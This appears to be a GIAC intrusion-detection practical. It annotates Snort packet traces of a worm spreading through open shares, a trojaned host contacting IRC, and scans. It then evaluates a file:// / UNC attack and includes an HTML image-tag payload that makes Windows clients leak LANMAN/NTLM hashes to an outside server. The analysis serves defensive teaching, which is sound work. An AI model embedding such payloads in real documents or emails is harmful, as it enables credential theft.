00 00 00 A0 FF 53 4D 42 2D 00 00 00 00 00 00 80 .....SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 07 08 FF FF ................
02 20 02 2D 0F FF 00 00 00 07 00 40 00 16 00 00 . .-.......@....
00 C6 BD 88 39 01 00 00 00 00 00 00 00 00 00 00 ....9...........
00 00 00 5F 00 00 5C 00 57 00 49 00 4E 00 44 00 ..._..\.W.I.N.D.
4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 52 00 O.W.S.\.S.T.A.R.
54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 4F 00 T.M.~.1.\.P.R.O.
47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 54 00 G.R.A.M.S.\.S.T.
41 00 52 00 54 00 55 00 50 00 5C 00 4E 00 45 00 A.R.T.U.P.\.N.E.
54 00 57 00 4F 00 52 00 4B 00 2E 00 45 00 58 00 T.W.O.R.K...E.X.
45 00 00 00 E...
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
08/02-19:48:06.463919 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:27188 DF
*****PA* Seq: 0xCB7E44 Ack: 0x7691CA85 Win: 0x1EFA
00 00 00 A0 FF 53 4D 42 2D 00 00 00 00 00 00 80 .....SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 82 2D 0F FF 00 00 00 07 00 91 00 16 00 23 . .-...........#
00 C6 BD 88 39 12 00 00 00 00 00 00 00 00 00 00 ....9...........
00 00 00 5F 00 00 5C 00 57 00 49 00 4E 00 44 00 ..._..\.W.I.N.D.
4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 52 00 O.W.S.\.S.T.A.R.
54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 4F 00 T.M.~.1.\.P.R.O.
47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 54 00 G.R.A.M.S.\.S.T.
41 00 52 00 54 00 55 00 50 00 5C 00 6E 00 65 00 A.R.T.U.P.\.n.e.
74 00 77 00 6F 00 72 00 6B 00 2E 00 65 00 78 00 t.w.o.r.k...e.x.
65 00 00 00 e...

08/02-19:48:06.569682 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:27444 DF
*****PA* Seq: 0xCB7EE8 Ack: 0x7691CACA Win: 0x1EB5
00 00 00 30 FF 53 4D 42 0B 00 00 00 00 00 00 80 ...0.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 02 2E 05 00 10 00 00 00 00 00 00 00 00 03 . ..............
00 01 00 00 ....

08/02-19:48:06.651786 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:27700 DF
*****PA* Seq: 0xCB7F1C Ack: 0x7691CAF3 Win: 0x1E8C
00 00 00 29 FF 53 4D 42 04 00 00 00 00 00 00 80 ...).SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 82 2E 03 00 10 DC BF F5 38 00 00 . ........8..

08/02-19:48:06.747091 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:27956 DF
*****PA* Seq: 0xCB7F49 Ack: 0x7691CB1A Win: 0x1E65
00 00 00 48 FF 53 4D 42 32 00 00 00 00 00 01 80 ...H.SMB2.......
00 00 00 00 00 00 00 00 00 00 00 00 07 08 FF FF ................
02 20 02 2F 0F 06 00 00 00 00 00 1A 02 00 00 00 . ./............
00 00 00 00 00 00 00 06 00 42 00 00 00 00 00 01 .........B......
00 03 00 07 00 00 02 01 00 00 00 00 ............

08/02-19:48:06.888333 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:28212 DF
*****PA* Seq: 0xCB7F95 Ack: 0x7691CB68 Win: 0x1E17
00 00 00 96 FF 53 4D 42 09 00 00 00 00 00 00 80 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 82 2F 08 23 00 00 00 00 00 00 00 00 00 00 . ./.#..........
00 00 00 00 00 63 00 04 5C 00 57 00 49 00 4E 00 .....c..\.W.I.N.
44 00 4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 D.O.W.S.\.S.T.A.
52 00 54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 R.T.M.~.1.\.P.R.
4F 00 47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 O.G.R.A.M.S.\.S.
54 00 41 00 52 00 54 00 55 00 50 00 5C 00 4E 00 T.A.R.T.U.P.\.N.
45 00 54 00 57 00 4F 00 52 00 4B 00 2E 00 45 00 E.T.W.O.R.K...E.
58 00 45 00 00 00 04 00 00 00 X.E.......

08/02-19:48:06.988352 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:28468 DF
*****PA* Seq: 0xCB802F Ack: 0x7691CB8F Win: 0x1DF0
00 00 00 23 FF 53 4D 42 71 00 00 00 00 00 00 80 ...#.SMBq.......
00 00 00 00 00 00 00 00 00 00 00 00 07 08 67 14 ..............g.
02 20 02 30 00 00 00 . .0...

08/02-19:48:07.077919 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:28724 DF
***F**A* Seq: 0xCB8056 Ack: 0x7691CBB6 Win: 0x1DC9
00 00 00 00 00 00 ......

08/02-19:48:07.163842 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:29492 DF
******A* Seq: 0xCB8057 Ack: 0x7691CBB7 Win: 0x1DC9
00 00 00 00 00 00 ......
```

1. **Source of trace:** This trace was captured from an IDS on a hub connected to a cable modem and outside my home firewall. TCPDump was used to log traffic for later processing.

2. **Detect generated by:** The first packet was from Snort using standard 07272k.rules on TCPDump file. The first line identifies the rule that triggered the alert. This rule targets the actual logon packet for an SMB session over NetBIOS.

The second line contains the date-timestamp, source address:port, destination address:port. The third line is the IP protocol, time-to-live, type-of-service and IP packet ID. The fourth line shows the TCP flags, sequence numbers and window size.

The remaining packets were taken from a Snort run on the TCPDump data looking specifically for this session. The second packet is the UDP NetBIOS name lookup. The last line of this packet shows the length of the UDP data. The rest of the packets are formatted as above except there is no warning message and the data is included in the display.

3. **Probability the address was spoofed:** There is a three-way handshake. The session was not spoofed.

4. **Description of attack:** There is a honeypot on the firewall that accepts NetBIOS connections for the purpose of gathering samples of wormss that spread through open shares. This session is the honeypot receiving the a worm from an infected system. If the honeypot were a Windows 9x system, it would become

infected the next time it was rebooted. This attack falls under CVE candidate CAN-1999-0519.

5. **Attack mechanism:** The virus searches the Internet for open Windows shares with no password. If found, it logs on using Windows file sharing and copies itself to the Startup folder of the victim.

6. **Correlations:** This vector and the particular virus using it are quite common. A similar honeypot capture can be found here. There is no correlation of activity from this attacker.

7. **Evidence of active targeting:** This particular worm randomly scans the 24.0.0.0 class A space populated by cable modem providers. It is likely that the attack was not targeted.

8. **Severity:** [Criticality: 5 - firewall + Lethality: 1 - no vulnerability] - [System Countermeasures: 5 hardened system + Network Countermeasures: 1 - none, it is the border] = 0

Suppose that it was a real infection: Severity: [Criticality: 3 - home users system + Lethality: 4 - infected with relatively harmless worm] - [System Countermeasures: 2 - open system, might have AntiVirus software + Network Countermeasures: .1 none, it is out and open in cable modem land] = 4

9. **Defensive recommendation:** If this was not a honeypot, then files sharing with the Internet should be blocked. Up to date AntiVirus software can also help.

10. **Multiple choice question:**

This alert was generated because:

```
[**] NETBIOS-SMB-C [**]
08/02-19:48:04.026811 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:23092 DF
*****PA* Seq: 0xCB6FC2 Ack: 0x7691C7B0 Win: 0x21CF
```

a. The packet was from Pennsylvania.
b. There is SMB sharing taking place.
c. Source port 2226 indicates a NetBIOS-SMB covert channel
d. The sequence numbers are out of order.

Answer: b. The PA tells one that the Push and Ack bits are set. The source port is noted for anything and NetBIOS traffic is on port 139. The sequence numbers are not ordered in a single packet. However, the destination port is 139 and the alert mentions SMB so it is likely that SMB over NETBIOS is ongoing.

Network Detect #3 : Trojanned system calling IRC

```
08/12-06:31:19.732200 24.357.422.69:1025 -> 206.50.68.20:6667
TCP TTL:128 TOS:0x0 ID:13312 DF
**S***** Seq: 0xE227 Ack: 0x0 Win: 0x2000
TCP Options => MSS: 1460 NOP NOP SackOK
_

08/12-06:31:19.776828 206.50.68.20:6667 -> 24.357.422.69:1025
TCP TTL:49 TOS:0x0 ID:22506 DF
**S***A* Seq: 0xBCADC4C6 Ack: 0xE228 Win: 0x111C
TCP Options => MSS: 1460
.._

08/12-06:31:19.777544 24.357.422.69:1025 -> 206.50.68.20:6667
TCP TTL:128 TOS:0x0 ID:13568 DF
******A* Seq: 0xE228 Ack: 0xBCADC4C7 Win: 0x2238
......_

08/12-06:31:19.821451 206.50.68.20:6667 -> 24.357.422.69:1025
TCP TTL:49 TOS:0x0 ID:22541 DF
*****PA* Seq: 0xBCADC4C7 Ack: 0xE228 Win: 0x111C
:sniper.tx.us.dal.net NOTICE AUTH :*** Looking up your hostname.
..._

08/12-06:31:19.960714 24.357.422.69:1025 -> 206.50.68.20:6667
TCP TTL:128 TOS:0x0 ID:14080 DF
******A* Seq: 0xE228 Ack: 0xBCADC50A Win: 0x21F5
......_

08/12-06:31:20.005287 206.50.68.20:6667 -> 24.357.422.69:1025
TCP TTL:49 TOS:0x0 ID:22623 DF
*****PA* Seq: 0xBCADC50A Ack: 0xE228 Win: 0x111C
:sniper.tx.us.dal.net NOTICE AUTH :*** Checking Ident.:sniper.tx
.us.dal.net NOTICE AUTH :*** Found your hostname._

08/12-06:31:20.161703 24.357.422.69:1025 -> 206.50.68.20:6667
TCP TTL:128 TOS:0x0 ID:14592 DF
******A* Seq: 0xE228 Ack: 0xBCADC57B Win: 0x2184
......_

08/12-06:31:20.489208 206.50.68.20:6667 -> 24.357.422.69:1025
TCP TTL:49 TOS:0x0 ID:22851 DF
*****PA* Seq: 0xBCADC57B Ack: 0xE228 Win: 0x111C
:sniper.tx.us.dal.net NOTICE AUTH :*** Got Ident response._
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
08/12-06:31:20.669527 24.357.422.69:1025 -> 206.50.68.20:6667
TCP TTL:128 TOS:0x0 ID:15360 DF
******A* Seq: 0xE228 Ack: 0xBCADC5B5 Win: 0x214A
......_

08/12-06:31:21.222139 24.357.422.69:1025 -> 206.50.68.20:6667
TCP TTL:128 TOS:0x0 ID:15616 DF
*****PA* Seq: 0xE228 Ack: 0xBCADC5B5 Win: 0x214A
nick HACKEDbySNEX3765..user HACKED victim 206.50.68.20 :Im a foo
lish moron.._

08/12-06:31:21.328788 206.50.68.20:6667 -> 24.357.422.69:1025
TCP TTL:49 TOS:0x0 ID:23330 DF
*****PA* Seq: 0xBCADC5B5 Ack: 0xE274 Win: 0x10D0
:sniper.tx.us.dal.net 465 HACKEDbySNEX3765 :You have been Autoki
lled...:sniper.tx.us.dal.net NOTICE HACKEDbySNEX3765 :*** You ar
e not welcome on this network...:sniper.tx.us.dal.net NOTICE HAC
KEDbySNEX3765 :*** Autokilled for [exp/hacked] exploited host, c
ontact exploits@dal.net for information (2000/08/12 09.59)..:sni
# f ######### exploits@dal.net per.tx.us.dal.net NOTICE HACKEDbySNEX3765 :*** Your hostmask is
HACKEDbySNEX3765!HACKED@some_host_on.mediaone.net..:sniper.tx.us
.dal.net NOTICE HACKEDbySNEX3765 :*** For more information, plea
se mail kline@dal.net and include everything shown here...ERROR # g ######### kline@dal.net
:Closing Link: some_host_on.mediaone.net ([exp/hacked] exploited
host, contact exploits@dal.net for information (2000/08/12 09.5
9)).._

08/12-06:31:21.329009 206.50.68.20:6667 -> 24.357.422.69:1025
TCP TTL:49 TOS:0x0 ID:23331 DF
***F**A* Seq: 0xBCADC87A Ack: 0xE274 Win: 0x10D0
......_

08/12-06:31:21.329108 24.357.422.69:1025 -> 206.50.68.20:6667
TCP TTL:128 TOS:0x0 ID:15872 DF
******A* Seq: 0xE274 Ack: 0xBCADC87B Win: 0x1E85
......_
```

1. **Source of trace:** This trace was captured from an IDS on a hub connected to a cable modem and outside my home firewall. TCPDump was used to log traffic for later processing.

2. **Detect generated by:** These packets were output from Snort using a rule to log all traffic to 206.50.68.20 in the TCPDump file. The first line contains the date-timestamp, source address:port, destination address:port. The second line is the IP protocol, time-to-live, type-of-service and IP packet ID.

The third line shows the TCP flags, sequence numbers and window size.

The human readable characters from the packet are displayed below the header.

3. **Probability the address was spoofed:** The addresses were not spoofed, as a TCP three-way handshake is evident.

4. **Description of attack:** The victim system (24.357.422.69) has acquired the MS Startup Config.exe trojan through a modified network.vbs worm called mscfg.vbs. Upon reboot of the victim system this trojan is activated and attempts to contact an IRC channel to notify the world that it has been compromised.

This capture was from a controlled environment. The trojan was acquired using a honeypot for network.vbs like worms. This was then moved to a system capable of operating the Trojan, which was set up on the Internet and rebooted. After the initial IRC communication, the system was removed from the network.

This attack falls under CAN-1999-0660.

5. **Attack mechanism:** The victim system performs a three-way handshake with the IRC server. It then attempts to log into the IRC server. The victim is validated out of band by an Ident check on port 113 (packets not displayed). The victim then broadcasts the message that is has been compromised. The victim was immediately removed from the IRC channel by a management bot targeting known exploited signatures.

6. **Correlations:** I have found no correlations from any source with knowledge of this particular trojan. It is not detected by an updated virus scanner, and is likely a new Trojan. There was not time from the acquisition date to contact and submit samples to the AntiVirus companies before the exam due date. That will be done when this practical is complete.

7. **Evidence of active targeting:** The delivery mechanism that transported this trojan is a worm that performs random scans of the Internet for open hosts. Thus there is no evidence of active targeting.

8. **Severity:** Had this been a real compromised system the severity would be: [Criticality: 3 - end user system + Lethality: 5 - system compromised] - [System Countermeasures: 2 - not 1 because we don't know if Anti-Virus software is on the system that might catch this when updated + Network Countermeasures: 1 - none] = 4

9. **Defensive recommendation:** Update AntiVirus software regularly. This trojan was acquired through an open share on the Internet, so closing all Internet accessible shares is also warranted. Another defense against this type of trojan is to not allow outbound communications over the common IRC ports (6666, 6667).

10. **Multiple choice question:**

Consider the following packet:

```
08/12-06:31:21.222139 24.357.422.69:1025 -> 206.50.68.20:6667
TCP TTL:128 TOS:0x0 ID:15616 DF
*****PA* Seq: 0xE228 Ack: 0xBCADC5B5 Win: 0x214A
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
nick HACKEDbySNEX3765..user HACKED victim 206.50.68.20 :Im a foo
lish moron.._
```

This source system is likely:
a) Communicating on IRC
b) Compromised in some way
c) Not blocked by a firewall for outbound communication.
d) All of the above.

Answer: d. a is identifiable from the port number, b is identifiable from the data in the packet and c can be surmised from the fact that this is a TCP packet with data and sequence numbers that most likely followed a three-way handshake. Note: the actual message was sanitized to meet a G rating.

Network Detect #4: ICMP

```
[**] PING-ICMP Destination Unreachable [**]
08/13-00:20:12.287484 207.500.843.76 -> 24.357.422.69
ICMP TTL:245 TOS:0x0 ID:6566
DESTINATION UNREACHABLE: PACKET FILTERED

08/13-00:20:12.287484 207.500.843.76 -> 24.357.422.69
ICMP TTL:245 TOS:0x0 ID:6566
DESTINATION UNREACHABLE: PACKET FILTERED
00 00 00 00 45 00 00 4E 6D 83 00 00 73 11 55 AC ....E..Nm...s.U.
18 XX XX 45 XX XX XX XX 00 89 00 89 00 3A 7C FE ..>E..m......:|.
```

1. **Source of trace:** This trace was captured from an IDS on a hub connected to a cable modem and outside my home firewall. TCPDump was used to log traffic for later processing.

2. **Detect generated by:** The first packet was from Snort using standard 07272k.rules on TCPDump file. The first line identifies the rule that triggered the alert. The second line contains the date-timestamp, source address:port, destination address:port. The third line is the IP protocol, time-to-live, type-of-service and IP packet ID. The last line shows the ICMP message.

The second packet is the same packet as the first, but the result of rerunning Snort to log all ICMP packets and display the data.

3. **Probability the address was spoofed:** It is unlikely that the address was spoofed. ICMP error messages are usually sent by network equipment to identify a problem. There is a remote chance that spoofing this packet could cause the recipient to drop an established connection, but that does not appear to be the case.

4. **Description of attack:** A total of 2186 of these packets, all the same, were received over a five-hour period. I was mighty curious as to what was going on.

The data from the second packet contains the original packet header. In order to verify what this was in response to, this header will have to be analyzed. The first four bytes are padding. The header begins with byte 4.

Time to get out Stevens:

45	IP version 4, 20 byte header
00	Type of Service
00 4E	IP Length 78 bytes
6D 83	IP ID 20835
00 00	Not a fragment
73	TTL 115
11	Protocol UDP
55 AC	Header Checksum (not verified)
18 XX XX 45	Source address: 24.357.422.69
XX XX XX XX	Destination address 444.555.666.777
00 89	Source port 137
00 89	Destination port 137
00 3A	UDP length 58
7C FE	UDP Checksum (Not verified)

If the packet is to be believed, it looks like my firewall is trying to do an NBName lookup on 444.555.666.777 and the router at 207.500.843.76 is telling me I can't get there. Time to look up 444.555.666.777.

As my 18 month old toddler would say, "uh oh." This address belongs to a client that I performed a penetration assessment on several weeks ago. As part of the assessment I demonstrated a failing in their firewall configuration by accessing some of their hosts over the Internet with NetBIOS. Apparently my firewall still remembers that and occasionally has been in contact with this server. A coworker has recently been helping the client fortify themselves better. This alert is likely the result of some change to their configuration.

2,186 packets? The firewall software dropped the incoming ICMP before NT could see it. NT just wouldn't give up, I guess. There doesn't appear to be a CVE entry for Sysadmin errors.

5. **Attack mechanism:** It appears that this is a self-inflicted attack by Windows trying to be persistent. Windows may have wanted to update its local NBName database from an old entry in the browser table.

6. **Correlations:** None. Few people would probably be willing to admit they did this to themselves.

7. **Evidence of active targeting:** With 2186 alerts, something was definitely active. However I don't believe this was a deliberate attempt by the NT coders to cause network mayhem. I did not deliberately do anything to cause this.

© SANS Institute 2000 - 2005 Author retains full rights.

8. **Severity:** [Criticality: 5 - firewall + Lethality: 1 - no harm done] - [System Countermeasures: 3 - system sending unnecessary nuisance packets + Network Countermeasures: 1 - none] = 2

9. **Defensive recommendation:** I've got to go back and disable the browser service on the firewall. If that is not the culprit, I'll have to look into other NetBIOS services on board to make sure that NetBIOS stays in a passive mode.

10. **Multiple choice question:**

Given this packet, which is most likely:

```
[**] PING-ICMP Destination Unreachable [**]
08/13-00:20:12.287484 207.500.843.76 -> 24.357.422.69
ICMP TTL:245 TOS:0x0 ID:6566
DESTINATION UNREACHABLE: PACKET FILTERED
```

a) A router does not know where the destination is.
b) The TTL was too big.
c) A router filter blocked a transmission.
d) ICMP messages are not allowed.

Answer: c. The last line tells us why the destination is unreachable. The TTL is fine. The return packet is ICMP, but that does not mean the transmitted packet was. It is likely that a router filter blocked the transmitted packet and sent this message.

Network Detect #5: SynFin scans

```
[**] SCAN-SYN FIN [**]
08/02-12:27:53.050213 128.134.24.200:109 -> 24.357.422.69:109
TCP TTL:23 TOS:0x0 ID:39426
**SF**** Seq: 0x1B7F9725 Ack: 0x47E9F877 Win: 0x404

[**] SCAN-SYN FIN [**]
08/04-21:30:11.572138 210.113.89.200:27374 -> 24. 357.422.69:27374
TCP TTL:25 TOS:0x0 ID:39426
**SF**** Seq: 0x41135001 Ack: 0x68628F38 Win: 0x404
```

1. **Source of trace:** This trace was captured from an IDS on a hub connected to a cable modem and outside my home firewall. TCPDump was used to log traffic for later processing.

2. **Detect generated by:** Snort using standard 07272k.rules on TCPDump file. The first line identifies the rule that triggered the alert. The second line contains the date-timestamp, source address:port, destination address:port. The third line is the IP protocol, time-to-live, type-of-service and IP packet ID. The last line shows the TCP flags, sequence numbers and window size.

3. **Probability the address was spoofed:** It is unlikely that the source addresses were spoofed. A SynFin scan is used to find open ports and thus one would want to get a reply.

4. **Description of attack:** These are reconnaissance probes to identify open services on the POP2 port and a port known to be in use by the SubSeven trojan.

What inspired interest in both packets together is that the IP ID is the same. This was discovered while researching the correlation of activity from the first packet. There is likely some common code base that uses this IP ID in its packet creation, and that code has been ported to different tools.

A known POP2 vulnerability is CVE-1999-0920. Trojanned systems fall under candidate CAN-1999-0519.

5. **Attack mechanism:** This probe is an attempt to bypass older IDS systems and host logging. The SynFin is an illegal packet that many operating systems will respond to with a reset. Since it would not establish a session, the host would not log it.

6. **Correlations:** GIAC reporter John Best reports seeing an identical probe from the 128.134.24.200 address. There were no correlations from the 210.113.89.200 address, but there are many probes using the same tool. There are also many different probes on different ports using the same IP ID number in the GIAC archives.

7. **Evidence of active targeting:** This was the only packet received from these hosts over a two-week time span. There have never been open services on POP2 or 27374 at this address. Therefore it is unlikely this was targeted.

8. **Severity:** [Criticality: 5 - firewall + Lethality: 1 - no information gained] - [System Countermeasures: 5 - hardened system + Network Countermeasures: 1 - none, it is the border] = 0

9. **Defensive recommendation:** For most environments, especially a home network, no action would be necessary as no information was gained. The sensitive and curious might want to log all packets with IP ID 39426 or all packets from these sources.

10. **Multiple choice question:**

Given this packet, which is true.

```
[**] SCAN-SYN FIN [**]
08/02-12:27:53.050213 128.134.24.200:109 -> 24.357.422.69:109
TCP TTL:23 TOS:0x0 ID:39426
**SF**** Seq: 0x1B7F9725 Ack: 0x47E9F877 Win: 0x404
```

a) The destination host has services on POP2 (port 109).
b) The source host is starting an ending handshake to close a session.
c) The TTL indicates TELNET data.

© SANS Institute 2000 - 2005 Author retains full rights.

d) The destination host OS will not log this connection.

Answer: d. We do not see a reply for a to be true. A SynFin is not used to close a session, and the TTL has nothing to do with data. SynFins are not normally logged by the OS

Assignment 2: Attack Evaluation

Network File Resource Vulnerability Exploit

This vulnerability, or feature, affects all Microsoft Windows versions. Discussion on this vulnerability goes as far back as 1997. I investigated this attack with regard to using email as a delivery mechanism in early 2000. After working with Microsoft to no avail, I posted an advisory.

Attack Description:

This attack relies on the file:// URL or sometimes the UNC \\ pathname to point to an object such as a graphic that is embedded within a document. Windows systems with NetBIOS over IP enabled and running a Microsoft Client will retrieve the object by attempting to log in to the server providing the object. Thus if an HTML link was file://untrusted.net/share/pixel.gif, one's system will try to log on to untrusted.net using the current logon credentials and retrieve the file.

This will give the untrusted.net server:
· The username currently logged on.
· The workgroup or domain name the user is currently authenticated to.
· The encrypted LANMAN and NTLM hashes.

Once the attacker has the LANMAN or NTLM hashes, she can run L0phtCrack and obtain the passwords.

This attack can be delivered by:
· A web page, as an embedded link to a graphic or other object on a page visited from a browser.
· An HTML formatted email, as an embedded link to a graphic or other object.
· In a Microsoft Word document, as an embedded link to a picture.
· When the W2K Windows Explorer preview pane displays an HTML file.

Attack Demonstration

To capture this attack in action a Windows 98 system (Victim) was used. Victim had a private IP address on an internal network, but was allowed unrestricted access to the attacking server for this attack. An HTML file was loaded into Internet Explorer on Victim that contained the link <IMG src="file://24.357.422.69/s/pixel.gif">. This coaxed Victim to retrieve the pixel.gif file from the server, thus giving up its logon credentials.

Snort was used to dump the packets for this report. The packets were also captured with a protocol analyzer to aid in the analysis, but these results are not presented. A detailed protocol analysis of SMB over NetBIOS is not necessary to understand the attack. Thus only the pertinent information is discussed. Particular data of interest is annotated with [x,y] where x is the starting byte from zero and y is the length.

The Trace:

```
08/13-15:00:49.838203 10.176.222.201:137 -> 24.357.422.69:137
UDP TTL:128 TOS:0x0 ID:3842
Len: 58
02 3C 00 10 00 01 00 00 00 00 00 00 20 43 4B 41 .<.......... CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA..!
00 01 ..
```

The first packet is a NetBIOS name request on port UDP 137. The server replied:

```
08/13-15:00:49.840349 24.357.422.69:137 -> 10.176.222.201:137
UDP TTL:128 TOS:0x0 ID:10576
Len: 237
02 3C 84 00 00 00 00 01 00 00 00 00 20 43 4B 41 .<.......... CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA..!
00 01 00 00 00 00 00 89 05 45 55 54 48 59 44 45 .........EUTHYDE
4D 55 53 20 20 20 20 20 00 04 00 45 55 54 48 59 MUS ...EUTHY
44 45 4D 55 53 20 20 20 20 20 20 04 00 57 4F 52 DEMUS ..WOR
4B 47 52 4F 55 50 20 20 20 20 20 20 00 84 00 45 KGROUP ...E
55 54 48 59 44 45 4D 55 53 20 20 20 20 20 03 04 UTHYDEMUS ..
00 XX XX XX XX XX XX XX XX XX XX XX XX XX XX 20 .LOGGEDINNAME
03 04 00 00 05 02 77 ED CA 00 00 00 00 00 00 00 ......w.........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 7F B6 96 39 00 00 00 00 00 00 00 ........9.......
00 00 00 00 00 .....
```

Thus the server's name is Euthydemus and it is in a domain called Workgroup. It also provided the log in name of the current console user, which was sanitized.

We then switch over to TCP for a three-way handshake to the server on port 139. Had Victim been a Windows 2000 system, it would have also tried port 445.

```
08/13-15:00:49.840555 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:4098 DF
**S***** Seq: 0x5F86656 Ack: 0x0 Win: 0x2000
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
TCP Options => MSS: 1460 NOP NOP SackOK

08/13-15:00:49.841741 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:10832 DF
**S***A* Seq: 0xA32ACB Ack: 0x5F86657 Win: 0x2238
TCP Options => MSS: 1460
00 00 ..

08/13-15:00:49.841915 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:4354 DF
******A* Seq: 0x5F86657 Ack: 0xA32ACC Win: 0x2238
00 00 00 00 00 00 ......

08/13-15:00:49.842028 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:4610 DF
*****PA* Seq: 0x5F86657 Ack: 0xA32ACC Win: 0x2238
81 00 00 44 20 45 46 46 46 46 45 45 49 46 4A 45 ...D EFFFFEEIFJE
45 45 46 45 4E 46 46 46 44 43 41 43 41 43 41 43 EEFENFFFDCACACAC
41 43 41 43 41 00 20 46 47 45 4A 45 44 46 45 45 ACACA. FGEJEDFEE
4A 45 4E 43 41 43 41 43 41 43 41 43 41 43 41 43 JENCACACACACACAC
41 43 41 43 41 41 41 00 ACACAAA.
```

The fourth packet is an SMB Session request from Victim [92:34] to Euthydemus [58:34].

```
08/13-15:00:49.843126 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:11088 DF
*****PA* Seq: 0xA32ACC Ack: 0x5F8669F Win: 0x21F0
82 00 00 00 00 00 ......
```

Euthydemus says "OK, I'm open."

```
08/13-15:00:49.843551 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:4866 DF
*****PA* Seq: 0x5F8669F Ack: 0xA32AD0 Win: 0x2234
00 00 00 9A FF 53 4D 42 72 00 00 00 00 00 00 00 .....SMBr.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 16 ................
00 00 81 83 00 77 00 02 50 43 20 4E 45 54 57 4F .....w..PC NETWO
52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02 RK PROGRAM 1.0..
4D 49 43 52 4F 53 4F 46 54 20 4E 45 54 57 4F 52 MICROSOFT NETWOR
4B 53 20 33 2E 30 00 02 44 4F 53 20 4C 4D 31 2E KS 3.0..DOS LM1.
32 58 30 30 32 00 02 44 4F 53 20 4C 41 4E 4D 41 2X002..DOS LANMA
4E 32 2E 31 00 02 57 69 6E 64 6F 77 73 20 66 6F N2.1..Windows fo
72 20 57 6F 72 6B 67 72 6F 75 70 73 20 33 2E 31 r Workgroups 3.1
61 00 02 4E 54 20 4C 4D 20 30 2E 31 32 00 a..NT LM 0.12.
```

Victim says, "I can speak all these different SMB protocols, pick one." Officially it is an SMB Negotiate Protocol Request.

```
08/13-15:00:49.847153 24.357.422.69:139 -> 10.176.222.201:1036
TCP TTL:128 TOS:0x0 ID:11344 DF
*****PA* Seq: 0xA32AD0 Ack: 0x5F8673D Win: 0x2152
00 00 00 61 FF 53 4D 42 72 00 00 00 00 80 00 00 ...a.SMBr.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 16 ................
00 00 81 83 11 05 00 03 32 00 01 00 04 11 00 00 ........2.......
00 00 01 00 00 00 00 00 FD 43 00 00 D0 5B 77 D4 .........C...[w.
57 05 C0 01 F0 00 08 1C 00 0C E6 ED FC D1 7D FC W............}.
A8 57 00 4F 00 52 00 4B 00 47 00 52 00 4F 00 55 .W.O.R.K.G.R.O.U
00 50 00 00 00 .P...
```

Euthydemus comes back with a list of things it supports. The important part here is that the Euthydemus doesn't respond back with a protocol from the list, but sends its own list. Rather than a protocol definitions though, the server responds with a feature list. The client then sends the highest supported SMB protocol it can. The server also issues a challenge for Victim to use in encrypting the password [73:8].

```
08/13-15:00:49.848307 10.176.222.201:1036 -> 24.357.422.69:139
TCP TTL:128 TOS:0x0 ID:5122 DF
*****PA* Seq: 0x5F8673D Ack: 0xA32B35 Win: 0x21CF
00 00 00 9F FF 53 4D 42 73 00 00 00 00 10 00 00 .....SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 16 ................
01 00 81 83 0D 75 00 7E 00 68 0B 32 00 00 00 00 .....u.~.h.2....
00 00 00 18 00 00 00 00 00 00 00 05 00 00 00 41 ...............A
00 13 26 CC B9 62 BD BF 31 4E ED 06 A8 34 D2 DB ..&..b..1N...4..
C5 97 14 1D A9 5C 20 57 2B 56 49 43 54 49 4D 00 .....\ W+VICTIM.
57 4F 52 4B 47 52 4F 55 50 00 57 69 6E 64 6F 77 WORKGROUP.Window
73 20 34 2E 30 00 57 69 6E 64 6F 77 73 20 34 2E s 4.0.Windows 4.
